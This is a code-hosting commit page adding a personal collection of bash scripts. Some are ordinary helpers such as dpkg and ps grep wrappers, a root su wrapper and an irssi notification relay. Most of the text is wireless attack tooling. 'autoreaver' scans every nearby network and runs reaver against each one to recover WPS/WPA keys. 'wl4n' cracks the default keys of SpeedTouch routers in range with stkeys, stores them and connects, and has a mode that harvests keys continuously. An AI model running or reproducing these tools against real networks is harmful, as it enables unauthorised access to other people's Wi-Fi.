Commit 95685ee0 authored by yids's avatar yids
Browse files

re-added but not as submodules

parent f2e3c164
#!/bin/bash
# this will make symlinks to /usr/local/bin
cd scripts
for file in *
do
ln -s $PWD/$file /usr/local/bin/$file
done
#!/bin/bash
if [ "$#" -ne 1 ]
then
dpkg -l
exit
fi
dpkg -l | grep $1
#!/bin/bash
command=$1
su -c "$command" root
# yes, we need a way to flush the file on disconnect; i don't know one
# yes, that's flush is not atomic (but good enough for me)
port=$(($RANDOM+30000))
autossh -M $port yavin "tail -n 10 /home/yids/.irssi/fnotify ; : > /home/yids/.irssi/fnotify ; tail -f /home/yids/.irssi/fnotify " | sed -u 's/[<@&]//g' | while read heading message; do notify-send -u critical -i gtk-dialog-info -- "${heading}" "${message}"; done &
#!/bin/bash
gst-inspect $1| less
#!/bin/bash
ls -lh --color $1 --group-directories-first | less -R
#!/bin/bash
if [ "$#" -ne 1 ]
then
ps aux
exit
fi
ps aux | grep $1
#!/bin/bash
window=`tmux display-message -p | cut -c7-7`
CMDS=(notify-send)
function check_depends()
{
for i in "$CMDS"
do
command -v $i >/dev/null && continue || { printf "%s depends on %s, but %s is not found. \n" "$0" "$i" "$i"; exit 1; }
done
}
function main()
{
"$@"
if [[ $? == 0 ]] ; then
notify-send -u critical "$1 $2 $3 $4" "Finished succesfully in window$window!" -i /usr/share/pixmaps/nomnom.xpm
else
notify-send -u critical "$1 $2 $3 $4" "Failed in window$window" -i /usr/share/pixmaps/linphone/notok.png
fi
}
check_depends
main
#!/bin/bash
# Autoweaver is a scripts that detects all wireless networks around, and then launches reaver to determine its wpa key
REAVER_ARGS="-D"
REAVER_PATH="/usr/local/bin/reaver"
IFACE="wlan0"
CMDS=(reaver airmon-ng)
function check_depends()
{
for i in "$CMDS"
do
command -v $i >/dev/null && continue || { printf "%s depends on %s, but %s is not found. \n" "$0" "$i" "$i"; exit 1; }
done
}
function usage
{
printf "=====================Autoreaver=========================\n "
printf "\n"
printf "scans for wireless networks and starts reaver on them \n"
printf "to recover the WPS password\n"
printf "usage: \n"
printf "./autoreaver.sh INTERFACE\n"
printf "\n"
printf "========================================================\n"
}
function start_monitor
{
airmon-ng start "$IFACE"
}
function stop_monitor
{
airmon-ng stop mon0
}
function gather_bssids
{
clear
iwlist "$IFACE" scan | grep Address
sleep 1
clear
iwlist "$IFACE" scan | grep Address
sleep 1
clear
iwlist "$IFACE" scan | grep Address
sleep 1
clear
iwlist "$IFACE" scan | grep Address | cut -c 30-50 > bssid.tmp
NUM_BSSIDS=$(wc -l bssid.tmp | cut -c1-2)
printf "Number of APs found: "
printf "$NUM_BSSIDS"
sleep 2
}
function start_reaving
{
FILE=bssid.tmp
BSSIDS=( $(<"$FILE") )
for (( i=0; i<${#BSSIDS[@]}; i++ )); do
printf "starting reaver for:"
printf "${BSSIDS[i]}"
FILENAME=$(printf "${BSSIDS[i]}" | tr -d \:)
"$REAVER_PATH" -i mon0 -b "${BSSIDS[i]}" -o "$PWD"/reaverLog/"$FILENAME" "$REAVER_ARGS" > /dev/null
#exit 1
#sleep 1
done
}
function show_progress
{
printf "$NUM_BSSIDS"
sleep 3
while [ 1 ] ; do
for (( i=0; i<"$NUM_BSSIDS"; i++ )); do
FILENAME=$(printf "${BSSIDS[i]}" | tr -d \:)
printf "$FILENAME"
cat "$PWD"/reaverLog/"$FILENAME" | tail -n1
done
sleep 1
clear
done
}
#Main
if [ "$#" -ne 1 ]
then
usage
exit
else
IFACE=$(printf "$1")
fi
trap control_c SIGINT
function control_c
{
printf "Quiting! bye bye!"
stop_monitor
killall reaver
exit 1
}
check_depends
start_monitor
gather_bssids
start_reaving
show_progress
#!/bin/bash
# wl4n is a script that automaticly detects SpeedTouch routers around, an connects to them.
# it uses stkeys to find the key of the router and wpa_supplicant to connect to it
# keys are saved in files with the name of the acces point
# wl4n currently has 3 modes:
# standard: everything automaticly, it just tries to get you internet
# manual: you can manually choose wich parts of the script you want to execute
# capture: a loop starts that keeps looking for speedtouch routers, cracks their keys en stores them
counter=1
numAPs=0
INTERFACE=wlan0
quit=0
STKEYSPATH=/opt/stkeys/
WPAPATH=/etc/wpa_supplicant.conf
createWpaSupp()
{
printf "network={ " > wpa
printf "ssid=$essid" >> wpa
printf "scan_ssid=0 " >> wpa
printf "proto=WPA " >> wpa
printf "key_mgmt=WPA-PSK" >> wpa
printf "psk=$key" >> wpa
printf "pairwise=TKIP" >> wpa
printf "group=TKIP" >> wpa
printf "}" >> wpa
}
networkingRestart()
{
sudo killall wpa_supplicant
sudo ifconfig "$INTERFACE" down
sudo ifconfig "$INTERFACE" up
}
scan()
{
#networkingRestart
rm speedtouch.log
printf "\033[32mstarting scanning fase..."
printf "SpeedTouch routers detected: \n"
printf "number of uncracked APs: %s" "$numNoData"
iwlist "$INTERFACE" scan | grep SpeedTouch | cut -c 21-44 | tee /dev/tty | cut -c 18-23 > speedtouch.log
numAPs=$(wc -l speedtouch.log | cut -c 1-2)
printf "Found %s network(s) \n" "$numAPs"
printf "Checking database for allready cracked APs... \n"
while [[ "$counter" -le "$numAPs" ]]
do
currentEssid=$(sed -n "${counter}p" speedtouch.log)
printf "\033[33mSpeedTouch%s : " "$currentEssid"
cat "${PWD}"/SpeedTouch/"${currentEssid}" 2>> tmp.data
((counter+=1))
done
# code cut blalala
let BEGINC="${#PWD}"+18
let ENDC="$BEGINC"+5
printf $BEGINC > cut.tmp
printf "-" >> cut.tmp
printf $ENDC >> cut.tmp
CUT_RANGE=$(cat cut.tmp) #code to make cut numbers align acording to working dir
cat tmp.data | cut -c "$CUT_RANGE" > no.data
printf "\n"
rm cut.tmp
numNoData=$(wc -l no.data | cut -c 1-2)
#printf $numNoData
#if [[ CAPTURE_MODE ]]
#then
#counter=1
#
# while [[ "$counter" -le "$numNoData" ]]
# do
# currentEssid=$(sed -n "${counter}p" no.data)
# touch "${PWD}"/SpeedTouch/"${currentEssid}"
# ((counter+=1))
# done
#fi
#clear
}
crack()
{
counter=1
printf "\033[32minitializing cracking process... \n"
while [ "$counter" -le "$numAPs" ]
do
currentEssid=$(sed -n ${counter}p no.data)
if grep -Fxq "$currentEssid" no.data
then
printf Currently cracking : "$currentEssid"
"${STKEYSPATH}"./stkeys -vi "${currentEssid}" | grep Serial | cut -c 46-55 | tee /dev/tty > "${PWD}"/SpeedTouch/"${currentEssid}" &
#${STKEYSPATH}./stkeys -vi ${currentEssid} | grep Year | cut -c 56-65 | head -1 | tee /dev/tty > ${WD}/SpeedTouch/${currentEssid}
else
printf "SpeedTouch"
sed -n "${counter}p" speedtouch.log | tr -d "\n"
printf " allready in database. \n"
fi
((counter+=1))
done
rm no.data
rm tmp.data
rm speedtouch.log
}
testConnection()
{
counter=1
while [[ "$counter" -le "$numAPs" ]]
do
printf "Starting... \n"
printf "SpeedTouch" > currentEssid
sed -n "${counter}p" speedtouch.log | tr -d "\n" >> currentEssid
printf "currently testing:"
cat currentEssid
printf "\n"
essid=$(cat currentEssid | cut -c 11-17)
key=$(cat "$PWD"/SpeedTouch/$essid)
essid=$(cat currentEssid)
createWpaSupp
printf "$essid"
printf "$key"
printfe "Aquiring IP adres... \n"
sudo wpa_supplicant -B -cwpa -i"$INTERFACE"
sudo dhclient -v "$INTERFACE"
printf "testing internet connection..."
if [[ $(ping -c1 google.com) ]]; then printf "connection live! \n";fi
printf "would you like to: \n"
printf "a) stay connected to this network. \n"
printf "b) try the next one. \n"
read userInput
if [[ "$userInput" = "a" ]]
then
cleanUp
exit
elif [["$userInput" = "b" ]]
then
((counter++))
fi
done
}
function cleanUp()
{
printf "cleaning up... \n"
printf "\033[35mGoodbye and happy browsing! \n"
printf "\033[37m"
rm tmp.data
rm no.data
rm speedtouch.log
}
function manual()
{
while [ "$quit" -le 0 ]
do
printf "a) Scan \n"
printf "b) Crack \n"
printf "c) Test \n"
printf "d) AP-DB \n"
printf "q) Quit \n"
read userInput
case "$userInput" in
a)
scan
;;
b)
crack
;;
c)
testConnection
;;
d)
show_database
;;
q)
quit=1
;;
esac
done
}
function show_database
{
numHostsDB=$(ls -l "$PWD"/SpeedTouch/ | wc -l)
printf "Number of APs in DB: %s\n" "$numHostsDB"
printf "a) list APs"
printf "b) check APs"
printf "c) update APs"
printf "d) crack APs"
printf "q) go back"
read userInput
case "$userinput" in
a)
#list aps
numHostsDB=$(ls -l "$PWD"/SpeedTouch/ | wc -l)
tmp=0
#while[ $tmp -le $numHostsDB ]
#do
;;
b)
#check aps
;;
c)
#update aps
;;
d)
#crack aps
;;
q)
exit
;;
esac
}
#START main loop
#dependencies check
if [ "$#" -eq 0 ]
then
scan
crack
testConnection
cleanUp
exit
elif [ "$*" = "-m" ]
then
manual
elif [ "$*" = "-c" ]
then
printf "starting in capture mode, saving and cracking all essids"
cleanUp
CAPTURE_MODE=1
quit=0
while [ "$quit" -eq "0" ]
do
scan
crack
done
#cleanUp
fi
# very simple but usefull script that creates an monitor interface and launches airodump-ng
# some test comment yay
echo -e "\033[32mLaunching Aircrack script..."
airmon-ng start wlan0
airodump-ng mon0
airmon-ng stop mon0
Markdown is supported
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment